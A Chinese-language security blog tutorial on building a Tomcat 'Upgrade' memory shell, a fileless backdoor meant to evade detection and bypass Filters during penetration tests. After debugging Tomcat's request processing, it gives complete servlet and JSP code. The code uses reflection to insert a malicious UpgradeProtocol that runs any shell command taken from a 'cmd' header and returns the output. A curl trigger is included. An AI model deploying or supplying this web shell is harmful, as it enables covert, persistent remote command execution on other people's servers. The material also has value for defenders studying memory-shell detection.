在现今攻防演练日趋常态化和网络安全检测设备检测技术越来越成熟的大环境下,传统的以文件形式驻留的后门文件极其容易检测查杀到,随之"内存马"技术开始登上历史的舞台。在JAVA安全知识体系中JAVA内存马也是必须要学习的一个关键板块,本篇文章主要介绍Tomcat-Upgrade型内存马
在渗透过程中有些时候虽然我们植入了内存马,但是由于原有Filter的缘故,导致鉴权失败或者是无法访问,再亦或是由于反代的缘故导致很多时候无法找到对应路径,为了解决这个问题我们要在请求进入Filter之前打入内存马,从下面可以看到在Filter之前还有Execute、Process,在本篇文章中我们只对Process做研究分析
首先我们新建一个TestUpgrade.java:
package com.al1ex.servlet;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean b) {
return null;
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
return null;
}
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
try {
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
new MyUpgrade().accept(request1.getCoyoteRequest());
} catch (Exception ignored) {}
}
}
启动项目
执行效果如下所示:
我们在StandardHostValve.java的这行打上下断点:
从上面可以看到调用到了process函数,具体调用位置位于org.apache.coyote.AbstractProcessorLight#process,我们跟过去看看:
在SocketWrapperBase状态是OPEN_READ的时候,此时才会调用对应的processor去处理(第二张图的process调用的位置可以通过第一张图左下角的那个process的后一个process点进去看到):
随后我们继续step into这里的service方法看看:
随后继续step over可以看到这里在检查header中的Connection头中是否为upgrade,跟进这的isConnectionToken
随后干两件事情——第一个是调用getUpgradeProtocol方法根据upgradedName从httpUpgradeProtocols拿到UpgradeProtocol,第二个是调用UpgradeProtocol对象的accept方法:
到了这里我们似乎可以建立起一个猜想,我们如果构造一个恶意的UpgradeProtocol,然后把它插入到httpUpgradeProtocols,由于httpUpgradeProtocols是一个hashmap,那么向里面添加的话用到的肯定是put方法,随后我们直接搜httpUpgradeProtocols.put,随后我们在这行打上断点,然后调试,结果发现还未访问对应的路径就已经到断点位置了,也就是说httpUpgradeProtocols.put这个事情是发生在tomcat启动的时候的
那这样一来思路就更加具体了,通过反射找到httpUpgradeProtocols并把恶意upgradeProtocol插入进去即可构成upgrade内存马,思路和之前一模一样,现在只需要解决最后一个问题——如何找到httpUpgradeProtocols的位置,我们打开之前用tomcat搭建的Tomcat Upgrade的demo,在如下位置打下断点
然后构造请求头发送请求并进入断点调试:
curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080/evil
step over一步即可在下方看到request1属性:
然后在request1里面的connector的protocolHandler里面发现了httpUpgradeProtocols:
通过上面上面的分析我们可以构造如下代码:
package com.al1ex.servlet;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return null;
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream(), "GBK").useDelimiter("\\A").next().getBytes();
resp.setCharacterEncoding("GBK");
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);
Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
HashMap upgradeProtocols;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
MyUpgrade myUpgrade = new MyUpgrade();
upgradeProtocols.put("hello", myUpgrade);
upgradeProtocolsField.set(handler, upgradeProtocols);
} catch (Exception ignored) {}
}
}
执行结果如下所示:
JSP版本:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.nio.ByteBuffer" %>
<%
class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled) {
return "hello";
}
public byte[] getAlpnIdentifier() {
return new byte[0];
}
public String getAlpnName() {
return null;
}
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream(), "GBK").useDelimiter("\\A").next().getBytes();
resp.setCharacterEncoding("GBK");
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception ignored){}
return false;
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
upgradeProtocols.put("hello", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
%>
测试效果:
本篇文章主要介绍了Tomcat中的Upgrade以及如何去使用Upgrade来构造Upgrade内存马,同时给出了相关的实力,后期读者在构建调试时需要注意Tomcat的版本
2 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!